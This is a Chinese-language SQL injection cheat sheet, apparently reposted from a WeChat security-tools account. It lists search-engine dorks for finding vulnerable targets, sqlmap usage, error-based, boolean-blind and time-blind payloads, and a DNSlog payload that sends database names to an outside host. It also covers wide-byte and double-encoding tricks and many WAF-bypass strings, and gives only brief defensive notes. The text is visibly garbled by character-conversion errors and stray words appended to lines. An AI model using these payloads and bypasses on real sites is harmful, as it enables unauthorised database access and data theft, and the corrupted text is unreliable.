當全部情緒都堆在一塊兒的時候,才發現本身已經不是那個一塊糖就能開心的小孩子了。。。php
---- 網易雲熱評mysql
1、MySql注入經常使用函數git
一、system_user()系統用戶名github
二、user()用戶名web
三、current_user()當前用戶名正則表達式
四、session_user()連接數據庫的用戶名sql
五、database()數據庫名數據庫
六、version()數據庫版本瀏覽器
七、@@datadir數據庫路徑安全
八、@@basedir數據庫安裝路徑
九、@@version_conpile_os操做系統
十、count()返回執行結果數量
十一、concat()沒有分隔符的連接字符串
十二、concat_ws()含有分隔符的鏈接字符串
1三、group_concat()鏈接一個組的全部字符串,並以逗號分隔每一條數據
1四、load_file()讀取本地文件
1五、into outfile 寫文件
1六、ascii()字符串的ASCII代碼值
17ord()返回字符串第一個字符的ASCII值
18mid()返回一個字符串的一部分
19substr()返回一個字符串的一部分
20、length()返回字符串的長度
2一、left()返回字符串最左面幾個字符
2二、floor()返回小於或等於x的最大整數
2三、rand()返回0和1之間的一個隨機數
2四、extractvalue()
第一個參數:XML_docment是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:XPath_string(Xpath格式的字符串)
做用:從目標XML中返回包含所查詢值的字符串
2五、updatexml()
第一個參數:XML_docment是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:Xpath_string(Xpath格式的字符串)
第三個參數:new_value,String格式,替換查找到的符合條件的數據target.com
做用:改變文檔中符合條件的節點的值
2六、sleep()讓此語句運行N秒鐘
2七、if() SELECT IF(1>2,2,3) ; -->3
2八、char()返回整數ASCII代碼字符組成的字符串
2九、strcmp()比較字符串內容
30、ifnull() 假如參數1不爲NULL,則返回值爲參數1,不然其返回值爲參數2
31exp()返回e的x次方
2、目標蒐集
一、無特定目標:inurl:.php?id=
二、有特定目標:inurl:php?id= site:
三、工具爬取:spider,對搜索引擎和目標網站的連接進行爬取
3、注入識別
一、手工簡單識別:
'
and 1=1/and 1=2
and '1'='1/and '1'='2
and 1like 1/and 1like 2
二、工具識別:
sqlmap -m filename(filename中保存檢測目標)
sqlmap --crawl(sqlmap對目標網站進行爬取,而後一次進行測試)
三、高級識別
擴展識別廣度和深度:
SqlMap --level 增長測試級別,對header中相關參數也進行測試
sqlmap -r filename(filename中爲網站請求數據)
利用工具識別提升效率
BurpSuite+Sqlmap
BurpSuite攔截全部瀏覽器訪問提交的數據
BurpSuite擴展插件,直接調用SqlMap進行測試一些Tips
能夠在參數後鍵入"*"來肯定想要測試的參數
可能出現的點:新聞、登陸、搜索、留言
站在開發的角度去尋找
4、報錯注入方法
一、floor() :select count(*) from information_schema.tables group by concat((select
二、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj
三、group by會對rand()函數進行操做時產生錯誤
四、concat:鏈接字符串功能
五、floor:取float的整數值
六、rand:取0~1之間隨機浮點值
七、group by:根據一個或多個列對結果集進行分組並有排序功能
八、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));
九、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);
5、布爾盲注
一、left()函數
left(database(),1)>'s'
database()顯示數據庫名稱,leȨ(a,b)從左側截取a的前b位
二、regexp
select user() regexp'^r'
正則表達式的用法user()結果爲root,regexp爲匹配root的正則表達式
三、like
select user() like'^ro%'
與regexp相似,使用like進行匹配
四、substr()函數 ascii()函數
substr()函數 ascii(substr((select database()),1,1))<>98
substr(a,b,c)從b位置開始,截取字符串a的c長度,ascii()將某個字符轉換爲ascii值
五、ord()函數 mid()函數
ord(mid((select user()),1,1))=114
mid(a,b,c)從位置b開始,截取a字符串的c位ord()函數同ascii(),將字符轉爲ascii值
6、時間盲注
if(left(user(),1)='a',0,sleep(3));
7、DNSlog注入
SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));
8、寬字節注入
一、在注入點後鍵入%df,而後按照正常的諸如流程開始注入
二、黑盒測試:
在可能的注入點後鍵入%df,以後進行注入測試
三、白盒測試:
查看MySql編碼是否爲GBK
是否使用preg_replace把單引號替換成\'
是否使用addslashes進行轉義
是否使用mysql_real_escape_string進行轉義
四、防止寬字節注入
使用utf-8,避免寬字節注入
ps:不只在gbk,韓文、日文等等都是寬字節,都頗有可能存在寬字節注入漏洞
mysql_real_escape_string,mysql_set_charset('gbk',$conn);
設置參數,character_set_client=binary
9、二次編碼
一、在注入點後鍵入%2527,而後按照正常的注入流程開始注入
二、黑盒測試:
在可能的注入點後鍵入%2527,以後進行注入測試
三、白盒測試
是否使用urldecode函數
urldecode函數是否存在轉義方法以後
10、二次注入
一、插入惡意數據
第一次進行數據庫插入數據的時候,僅僅對其中的特殊字符進行了轉義,再寫入數據庫的時候仍是保留了原來的數據,可是數據自己包含惡意內容。
二、引用惡意數據
在將數據存入到數據庫以後,開發者就認爲數據是可信的。在下一次須要進行查詢的時候,直接從數據庫中取出了而已數據,沒有進行進一步的檢驗和處理,這樣就會形成SQL的二次注入。
三、二次注入防護:
對外部提交的數據,須要更加謹慎的對待。
程序內部的數據調用,也要嚴格的進行檢查,一旦不當心,測試者就能將特定了SQL語句帶入到查詢當中。
11、WAF繞過
熟練掌握MySQL函數和語法使用方法+深刻了解中間件運行處理機制+瞭解WAF防禦原理及方法=爲所欲爲的繞過WAF的保護
一、白盒繞過
使用了blacklist函數過濾了'or'和'AND'
大小寫變形:Or,OR,oR
等價替換:and->&&,or->||
二、黑盒繞過
尋找源站->針對雲WAF
利用同網段->繞過WAF防禦區域
利用邊界漏洞->繞過WAF防禦區域
資源限制角度繞過WAF
POST大BODY
請求方式變換GET->POST
Content-Type變換:application/x-www-form-urlencoded;->multipart/form-data;
參數污染
SQL註釋符繞過
Level-1:union/**/select
Level-2:union/*aaaa%01bbs*/select
Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select
內聯註釋:/*!xxx*/
空白符繞過
MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/
正則的空白符:%09,%0A,%0B,%0D,%20
Example-1:union%250Cselect
Example-2:union%25A0select
concat%2520(
concat/**/(
concat%250c(http://127.0.0.1/Less/?id=1
concat%25a0(
浮點數詞法解析
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0union select 1,2,3
select * from users where id=\Nunion select 1,2,3
extractvalue(1.concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3))),1);
GeometryCollection((select*from(select@@version)f)x))
polygon((select*from(select name_const(version(),1))x))
linestring()
multipoint()
multilinestring()
multipolygon()
MySQL特殊語法
select{x table_name}from{x information_schema.tables};
三、Fuzz繞過
註釋符繞過
最基本的:union/**/select
中間引入特殊字:union/*aaa%0abbs*/select
最後測試註釋長度:union/*aaaaaaaaaaaaaaa*/select
最基本的模式:union/*something*/select
a1%!%2f
12、sqlmap的conf
sqlmap.py -v3(主函數入口)
--user-agent=websecurity(請求擴充)
--threads=5(訪問優化)
-p id注入配置
--level 3(檢測配置)
--technique=E(注入技術)
--current-user(信息獲取)
--flush-session(通用設置)
--beep(雜項)幕布 - 極簡大綱筆記 | 一鍵生成思惟導圖
禁止非法,後果自負
歡迎關注公衆號:web安全工具庫
本文分享自微信公衆號 - web安全工具庫(websec-tools)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。